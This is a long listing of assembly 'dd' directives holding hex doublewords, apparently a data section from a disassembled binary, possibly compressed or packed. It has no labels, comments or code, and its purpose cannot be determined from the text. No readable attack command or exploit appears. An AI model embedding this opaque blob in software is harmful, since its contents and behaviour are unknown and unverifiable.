dd 3430B025h, 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h
dd 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h, 49646117h
dd 446DD300h, 0F83046h, 69757243h, 617B63E4h, 0EB537E00h
dd 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h, 1895B000h
dd 27B6499Dh, 7AFC0124h
dd 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h, 6F960382h
dd 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h
dd 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h, 287942B8h
dd 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h, 4CE1416Eh
dd 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h, 0CB726269h
dd 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h
dd 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh, 735200CEh
dd 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h
dd 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh, 459403A0h
dd 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h
dd 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah, 0FA730032h
dd 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h
dd 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h, 501A0926h
dd 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h, 0D4770082h
dd 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h, 90C6B864h
dd 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h
dd 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h
dd 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh
dd 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h
dd 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h, 326700F2h
dd 9143565Ch, 20E4D00h, 9A4F29D9h, 0C06E39A6h, 21D41300h
dd 8723DB89h, 58A7A00h, 29747561h, 70B50740h, 80A00DE4h
dd 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h, 7F9A0028h
dd 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h, 458C02Eh
dd 0A525D4h, 548FCC8Ah, 542849Ah, 9100B8E8h, 591B470Eh
dd 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h, 24125628h
dd 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h, 70476D75h
dd 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah, 3D0A599Ch
dd 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h, 0A500C571h
dd 0C105C91Ch, 0F9D0075h, 0C4D42873h, 42EC49C3h, 889022EEh
dd 0B4745900h, 0AC62E499h, 322100F2h, 10946BF3h, 0EA7404B1h
dd 1E184CECh, 0A956F5F6h, 134900B5h, 6D0ECCC7h, 330114F2h
dd 5622D687h, 0E0403141h, 149738Bh, 0A85D261Dh, 0E4DC3DA5h
dd 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh, 8ACB0095h, 8B4428EAh
dd 91E7658h, 0FCA4D5h, 0CC6B1E84h, 73F70DAh, 41256361h
dd 0F22EC097h, 5D005051h, 93C077A2h, 0F4431923h, 219B0FE7h
dd 4480587Ah, 696F76FCh, 24DF3E00h, 5288369Eh, 7E6C755Dh
dd 339300ECh, 29E93F26h, 0A2309C41h, 9DF4085Ch, 62450F5Ah
dd 0A5A3A7C8h, 0DFE8E51Ah, 53092084h, 8002574Ah, 0E65477DCh
dd 12A7075Bh, 0FF825014h, 6C440580h, 0D5004967h, 252366EDh
dd 38699FA0h, 9480B970h, 0A276B444h, 0D1FC426h, 0BC0315AEh
dd 0D0D8EF5Ah, 2A2B78h, 1E324693h, 8FA6C241h, 6200CAE4h
dd 0D3EEA4EBh, 2658664h, 57E08A63h, 0FD80D484h, 70412032h
dd 2990A605h, 41C0BAACh, 9C9BA8h, 672A3EC8h, 1BB9D40Ch
dd 26240AB8h, 2B033D6Dh, 0A3144EADh, 0EA5DA895h, 77F7958h
dd 3250F10Dh, 88222031h, 0B41D2CD4h, 0F3E63CA1h, 60BC1207h
dd 6D804795h, 3A644Fh, 0F3EC4CA8h, 3795CD77h, 2A1D7600h
dd 1268C6DEh, 4878D8h, 412C5357h, 6C42AA43h, 7A00C4E4h
dd 2D9A2592h, 1849F9h, 1459A361h, 5C6521BAh, 8E1D680Bh
dd 0D025000Ah, 7D6FAB26h, 981A0C7Dh, 868B1A5h, 1FD6B701h
dd 2552EB7Eh, 858630h, 18547078h, 0DE6E95C4h, 7568CE03h
dd 0C00948F2h, 1557B8h, 203D3251h, 0D501299Ch, 1A55B70h
dd 7000F4D7h, 6E48E010h, 70801h, 2C270C30h, 3C673847h
dd 0A7408700h, 0E748C744h, 0E850E44Ch, 0F062EC54h, 0F872F46Ah
dd 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh
dd 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh, 2E100FAh, 12C90A31h
dd 0D93D1AD1h, 0E92A0022h, 0F93AF132h, 0E84AE442h, 0F05AEC52h
dd 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h
dd 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h, 96ACF8h, 7616740Eh
dd 327781Eh, 507C487Ah, 0BF90B87Eh, 3477071Ch, 80CD9D3Ah
dd 27263513h, 7E0479Ch, 55362161h, 7CD150C9h, 37000FD8h
dd 9A385E1Ch, 1DB79Dh, 1ECD9EC2h, 1FDF9FD5h, 0F300E974h
dd 0F390987h, 15471D27h, 0B43A6730h, 0AEC74E14h, 6E2A5C39h
dd 7A8978ACh, 7E9D7C95h, 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh
dd 7EE14F6h, 1700E03Ah, 2E672847h, 0A70A3687h, 0DA57C740h
dd 9B14839Dh, 0C652CAh, 303B1AE1h, 0D17FC9h, 0E0BDD99Fh
dd 0DC723CCFh, 3D0F1C00h, 1D2E9D15h, 409E0037h, 549F4B1Eh
dd 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h, 3E79870Ah, 0A2809697h
dd 143F0E61h, 0D12400C9h, 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h
dd 0CF00C325h, 872083FBh, 8CC0007h, 3A309C3Bh, 1D00649Dh
dd 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh, 0A603A03Ch, 324FB992h
dd 0E6BC39h, 3118C3EEh, 3EFE971Eh, 5401488Eh, 73495C0Fh
dd 0C492F924h, 4600CA10h, 1CFC7E0Eh, 343202h, 761D589Dh
dd 8C1E869Eh, 1F949F0Eh, 87F980EEh, 3083302h, 21471827h
dd 0F0017267h, 93C789A7h, 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h
dd 3465E1h, 0D1ABC98Dh, 0E0BFD9B7h, 72351900h, 7627741Fh
dd 6278014Ah, 3F368349h, 0D0C9C9B5h, 93000ED7h, 0A243B237h
dd 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h
dd 69F12FE1h, 0EF3F0h, 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h
dd 93283E0Ah, 98A3036Bh, 0D3C3A1B3h, 11E0DC88h, 0AA393F00h
dd 850C62D4h, 498000C8h, 12A71DCCh, 5E07C735h, 998767E7h
dd 0FC1BF90h, 0C8533B31h, 0CF19ABC8h, 0D9338E74h, 7649D840h
dd 7F785400h, 0DF7C947Ah, 1CF2007Eh, 9D3C3406h, 52001D4Ch
dd 5E1E589Eh, 901F649Fh, 7873762Bh, 0F4915483h, 0F8BCFCB3h
dd 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch, 0E76FC769h
dd 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h, 3604003Ch
dd 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h, 0C3146C81h
dd 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h, 39BA00B3h
dd 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h, 76F20074h
dd 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh, 27B7398Eh
dd 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h, 0AF3C051Ch
dd 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h, 0E83CC024h
dd 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h, 0A33A9333h
dd 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh, 6093B0E4h
dd 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h
dd 0E40535h, 920FE80Bh, 7C2C7A74h, 3B49361Dh, 4E543F8Eh
dd 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h
dd 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h, 9E758473h
dd 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh
dd 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh, 9F1E1FF3h
dd 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh, 80F61FFFh
dd 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh
dd 56404ECFh, 661A0FD6h
dd 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h
dd 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h
dd 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh
dd 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h
dd 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh
dd 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh
dd 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h
dd 40260F4h, 3A0C3B39h, 1C00143Ah, 2C3D243Ch, 3F77343Eh
dd 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh
dd 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h
dd 4E87AAE4h, 487FC20h, 195B03Ch, 671C4714h, 602C8424h
dd 253CC93h, 7CFEC77Fh, 40E884E7h, 7ED492A3h, 0CE74BC72h
dd 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h
dd 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh
dd 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh
dd 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh, 0A72CE427h
dd 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch
dd 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h
dd 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch
dd 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh
dd 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch, 0F83093F0h
dd 8C99F0F7h, 130F6010h, 612501D4h, 51347882h, 0F96890F3h
dd 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h, 0C05DB003h
dd 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh, 83A0431h
dd 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h, 6EA7586Ch
dd 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h
dd 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h, 0CA30008h
dd 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h, 60E5015Ch
dd 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah
dd 0D22C4862h, 0E0F82400h, 48045D33h, 3C00D7ACh, 0B2142E10h
dd 960E1C9Fh, 214F1720h, 60CF5C22h, 68D164C9h, 70E16CD9h
dd 78F00471h, 0AB7C07CBh, 12BC8732h, 2249C0E7h, 7C2426C8h
dd 0DC00D87Eh, 3974ECE6h, 4D3A1434h, 200B1018h, 5A8E243Dh
dd 0FDFF2C20h, 4873029Fh, 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch
dd 887E847Eh, 904AE0B8h, 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h
dd 0E0CC4FD8h, 4CE472CFh, 782E5CE8h, 592400CCh, 0B35C9228h
dd 38F47F13h, 20B88F01h, 0DA2474BAh, 78CC927Ch, 7C8C7A88h
dd 98C3A090h, 0A01E0E0Fh, 0B840A4CFh, 5C61D8C9h, 488DE458h
dd 0C0FDB058h, 0E4140036h, 0ED3CE834h, 44095670h, 4F848F4h
dd 49D25094h, 419A4A58h, 0E2F1C688h, 0CDF8F9F9h, 718001B2h
dd 56775938h, 0FC6D7158h, 4104623Bh, 6ED16A40h, 976BEA0h
dd 7EF17AE9h, 2C869D61h, 818E259Fh, 582896A1h, 0CE605065h
dd 3093CA6h, 1A630A02h, 0A2607083h, 0DB0092A8h, 4A904926h
dd 0AD9AFD1h, 320AE0E4h, 0A748009Fh, 81331C50h, 0F9B9D07h
dd 36A034B5h, 4F274Ah, 1ED35B45h, 50B0D2ABh, 0EF007EE0h
dd 3A0E215Dh, 388B3B65h, 9F00A72Eh, 4B0216D8h, 273347F2h
dd 0F08282E6h, 0DCC7BCh, 713905E1h, 0B5D19CC9h, 64C2D901h
dd 3F8EAAEh, 0E41E3AF4h, 2B0E0058h, 704E6B3Bh, 0CF00788Eh
dd 21B30BA2h, 613C7150h, 0D8A5437Fh, 5DDE302Eh, 76B07403h
dd 0C3CE98EAh, 0C269C347h, 7ACD6077h, 9D7C2696h, 0C84D0B16h
dd 0C0EB6084h, 72F2512h, 47780203h, 989B6787h, 12AEFEh
dd 940CF188h, 30050708h, 0D824A509h, 805489E0h, 0CF3ABD28h
dd 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh, 0FB4FEC00h, 26330A83h
dd 0A25F0093h, 86C6496Dh, 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h
dd 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h, 9FE51EE0h, 0F017EBh
dd 3403876Fh, 2A0F2421h, 0C45385h, 0F85056A0h, 1C960055h
dd 0CE4F6712h, 8272CF79h, 0B100A874h, 1A62BAC9h, 2C640h
dd 9224B35h, 0A4216618h, 11360800h, 6A24CCC9h, 3739000Bh
dd 3B343A19h, 58733C3Dh, 7E3E6B04h, 3880873Fh, 707B525h
dd 0EBE7DD0Ah, 223850E1h, 610F2BC9h, 5D4DD95Dh, 0F17FE940h
dd 3DB0F9A1h, 0FC288C24h, 0B12E2F6h, 2A3B223Ah, 473D2580h
dd 1C1F6424h, 52563284h, 0EC6D8E00h, 7BF073h, 0C0F880F4h
dd 0C85D9EBAh, 0D02EA000h, 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h
dd 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h, 10B00008h, 0BA18B274h
dd 20005DB4h, 0B8282EB6h, 0F64B3097h, 0BCA50038h, 48BED240h
dd 500FC0E9h, 0C058C274h, 0C6605DC4h, 0C868002Eh, 0CA4B7097h
dd 0CC01A578h, 88CED280h, 5761D0E9h, 0BA98DCh, 0D6A05CD4h
dd 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h
dd 3C010BEEh, 0D910DE91h, 2CFC7318h, 2EE10028h, 0E54067E2h
dd 0E44CCC48h, 0B960092Dh, 97A980E6h, 0EE83378h, 0EA90F288h
dd 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h
dd 0AA3CD805h, 9D82E43Fh, 0EB75602Eh, 99FA00ABh, 24E920F8h
dd 210B2CF1h, 8B38F9F2h, 500990ACh, 1FC4009Eh, 8960925Ch
dd 4012806h, 1102214Ah, 4FF0FF3Eh, 780A0070h, 4E5B7A57h
dd 0FA16095Fh, 5001A1BBh, 97C9893Fh, 0C60434h, 0C32DAE1h
dd 88609020h, 300B0F00h, 48493327h, 0EA3B00D6h, 0E8ADF2Ch
dd 13F68D35h, 67A8A707h, 86317247h, 9BE49187h, 0D3A603C4h
dd 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h, 424C0B8h, 0E4937h
dd 3C233BBEh, 4102672Dh, 0E74BC70Eh, 8E5F4E55h, 73CF69h
dd 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h
dd 96050A27h, 8C8003C0h, 0E53A0Fh, 28798A1h, 27CB3BBFh
dd 0EA47D800h, 193C9D61h, 3E560060h, 0E974B272h, 8A003750h
dd 3F62E1A0h, 15D0770h, 75312E30h, 0FCD31524h, 5213A24Bh
dd 760088E9h, 342B50E0h, 356D001Ch, 0DDBF5C36h, 0D8005DCBh
dd 6144EADEh, 1E09537h, 60EDF332h, 0C09C482Ch, 8700FB1Dh
dd 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh, 1C3E2E84h
dd 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h, 4900E60Eh
dd 550BF1CFh, 0E940427h, 0C964B047h, 0A41B78E0h, 303C810Fh
dd 0D14F8006h, 3D60286Bh, 170E00E3h, 2F491F31h, 6E014841h
dd 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h, 0E86C18A0h
dd 0E2ECA3h, 22F4FDF0h, 3A3E3339h, 983B8000h, 0EE3DB33Ch
dd 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h, 80C060EAh
dd 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h, 0D78EB84Eh
dd 12F03DCFh, 43F100F0h, 936D391Dh, 9901A392h, 7470CCB2h
dd 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h, 4E3C8000h
dd 313D1642h, 0D4B40249h, 1B097E6Ch, 64610040h, 0FFD9FA01h
dd 0D8C082E3h, 2496E0h, 8430170Bh, 38A0DE3Bh, 0E8FF3Dh
dd 1DF612F2h, 0FE27FAh, 0F437B02Dh, 0B25AF849h, 734A6601h
dd 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h
dd 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h
dd 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh
dd 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh, 284C9DE5h
dd 34C82C81h, 60C85C9Fh
dd 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h
dd 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h
dd 0E04DDC7Eh, 67983Ah, 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h
dd 0A22C9324h, 2E91C30h, 0F13CC038h, 6844F940h, 66011C4Eh
dd 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch, 9FA89FA4h
dd 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h
dd 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch
dd 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh
dd 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h, 741A0172h
dd 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h
dd 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h
dd 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch, 7E5C59h
dd 3D0283DDh, 0AB9322h, 0A73E19A0h, 27E8CAE4h, 33033FE2h
dd 67521687h, 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h
dd 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h
dd 4E560032h, 331883D7h, 88739250h, 0B300667Ah, 8FD2300Fh
dd 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh
dd 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh
dd 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh
dd 5217A74h, 2F7E297Ch, 0C0D11CCFh, 274BC945h, 0E7395DF6h
dd 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h, 13F8BCC2h
dd 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h, 0D64B2483h
dd 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh, 49B592A7h
dd 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h, 12E38h
dd 1E13E2A6h, 14FDC17h, 28823302h, 0F8508F38h, 39000A16h
dd 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h, 7F0B96EEh
dd 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h, 29029EB0h
dd 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h, 398595DBh
dd 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h, 88F981AFh
dd 1670092Ah, 4F221D50h, 0A08EC798h, 33E190E0h, 3400C213h
dd 59EC4AC6h, 0E6195D6h, 72692CD8h, 50CEAEC0h, 2CB0AD84h
dd 52382700h, 0E05A3E05h, 92620026h, 5B6A7EBAh, 0EA090B72h
dd 0EC617Ah, 5FE98643h, 7BE0024h, 0FE4AC90h, 17FE13E8h
dd 0BA3E04B8h, 0D33E6782h, 0E01CD722h, 9D2730h, 92AA1DA6h
dd 89BE5EA7h, 2F2B3E02h, 60A414C0h, 1BD3A3Dh, 9425FF4h
dd 0EC51019Ch, 0A0006012h, 6CE868E6h, 0FC3108CEh, 32350087h
dd 33092139h, 0B100C90Dh, 5F343CD0h, 0F40B40h, 0C832E1C0h
dd 765E41EAh, 257AC90Bh, 0D3430462h, 0F8838580h, 0F6743FACh
dd 0B914FA80h, 1790BD38h, 80623900h, 793A7578h, 0E87D03E4h
dd 5D3B2659h, 0C3B8B4CBh, 0A300B734h, 3D43B0BBh, 207E49Fh
dd 3A1A3E48h, 2740240Fh, 1F71FAACh, 127E23ECh, 0C326161Dh
dd 0F3A2EF00h, 3A508084h, 5780BC08h, 8AB8AE30h, 3101430Bh
dd 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h, 0BF3C34A6h, 0DE7459D8h
dd 997F500h, 7BBCC95Ah, 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h
dd 0A012A205h, 0EC249Ah, 0F42CF028h, 0F2AAA338h, 2A680E0Bh
dd 96058347h, 713F898h, 12140037h, 3FB24BDCh, 5E006C24h
dd 0FC7778E0h, 88BE84h, 0CF39C307h, 0E147D627h, 0B8EB6400h
dd 3A080E40h, 4E7D1Ah, 3C703389h, 787C527Ah, 248E7E39h
dd 49000CBDh, 0E03A2CC7h, 0F5F2583Bh, 0A007D148h, 703D0E20h
dd 0D74BCB3Eh, 0F6542702h, 63A5FC87h, 0BC28F892h, 44F20E10h
dd 0D8C0A135h, 9D301411h, 1D720201h, 0C0DC9697h, 732A260h
dd 924FE443h, 7A6E80D8h, 94004974h, 60CFD6D0h, 5C9E7Ch
dd 5880DA12h, 9A1B340Fh, 3A51F60Eh, 60F8E0B2h, 72FC5C90h
dd 98B5A7Fh, 908FAAF3h, 0CEBAE680h, 4A125276h, 1903825Fh
dd 0F3B0C324h, 9854F0D6h, 37E0018Eh, 5C84204Ch, 0FC38204Eh
dd 0D0B0EA04h, 81EA6894h, 213B121Fh, 34DF204Fh, 0CEF0B603h
dd 1F9E9Ch, 1B3C10FCh, 43FA0729h, 0F04F6500h, 7BF86E6Ch
dd 9C3200B8h, 1F06267Ch, 0BF0293B3h, 0F3DE7283h, 0FAD668E6h
dd 5D6A7A70h, 0BB00D011h, 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h
dd 8C8170B0h, 9F0100CEh, 0B8C9AB30h, 1A03093Ah, 5E08D00Fh
dd 5D78A835h, 2469000Bh, 0FCBC7AD2h, 0A1E4993Fh, 87A92501h
dd 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h, 3F2F7A0h, 740068F0h
dd 783E9822h, 574946h, 259B3FA8h, 41E462A5h, 0F8FEAC00h
dd 9354338Fh, 0ECEA01F6h, 3904F0F5h, 6DCF4034h, 8100752Dh
dd 433509E8h, 1F284FC9h, 406E3CAAh, 0A8D0877Fh, 0E401B6E7h
dd 84BA85BFh, 26CCA0DEh, 167C0094h, 28AED94Ch, 9302F27Eh
dd 0F9B0A6C9h, 761350B6h, 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h
dd 324EEE0h, 0EA924210h, 0C08C5056h, 23745A94h, 0F2906603h
dd 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h
dd 20D1140Fh, 2FE140D9h, 7F13BE9h, 6C0B2B44h, 7BC0BE58h
dd 0FCB778A0h, 79DC300h, 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh
dd 8B000F80h, 78D09349h, 22A95Bh, 9CD8D39Ah, 7F72DA98h
dd 768F7400h, 0BCB5AA2h, 8C084C78h, 42D11E00h, 1D880E2Eh
dd 9F294E00h, 3D4D3CFBh, 5D3E0157h, 0E4876827h, 938FC882h
dd 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h
dd 7B5AE067h, 1C1F4CBCh, 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh
dd 96581D03h, 0D0C4C264h, 58B88EC9h, 6C005BF9h, 0E3F2E04h
dd 8C059230h, 0F4AF56A0h, 48058F80h, 0C8B23AF6h, 0B4398900h
dd 24C433CEh, 742EA201h, 0A044128Eh, 5FB26660h, 0B44F0EAEh
dd 0E9C0BE8Eh, 0E310413h, 28050790h, 4BF045ECh, 0A2923C80h
dd 0F6F034Fh, 88CF815Ch, 0ADCBA390h, 27F06112h, 0E13E5D80h
dd 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh, 598D1609h, 0A2B11214h
dd 3FDA3F94h, 58FC00F2h, 3A1939ECh, 443B2C2Fh, 623D0049h
dd 2437A27h, 8A34813Fh, 96351EC9h, 973E803Ch, 95AAC277h
dd 0B87E7170h, 0C3E203AAh, 6F2FD30h, 0AF7462D8h, 9B74E04h
dd 27B0D044h, 0F9E4E5h, 5F1DFF4Ch, 8952640Eh, 560241EAh
dd 3881E975h, 2EB541Ch, 22C12EB3h, 428336E0h, 21A3181Eh
dd 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h, 610FAAC9h
dd 0F9BDE8h, 0FCF4BC34h, 38390008h, 3B2D3A12h, 4B003C43h
dd 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h, 390CE440h
dd 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch, 814FEEB8h
dd 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h, 5B4EC03Eh
dd 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh, 0E28B043h
dd 0E005C2D9h, 1E0392D8h, 20B449EAh, 0C02CEA3Bh, 0F416Fh
dd 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h
dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh
dd 996E80CCh, 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h
dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h
dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h
dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h
dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h
dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh
dd 0AC3825C0h, 6005070Bh
dd 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah, 0B2D381A8h
dd 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh, 0F0817C90h
dd 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h
dd 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h, 4B037946h
dd 7E5FCEEh, 853D7E58h, 2E0591B0h, 16A101ABh, 0FCCFCE20h
dd 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh, 22824Ch
dd 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h
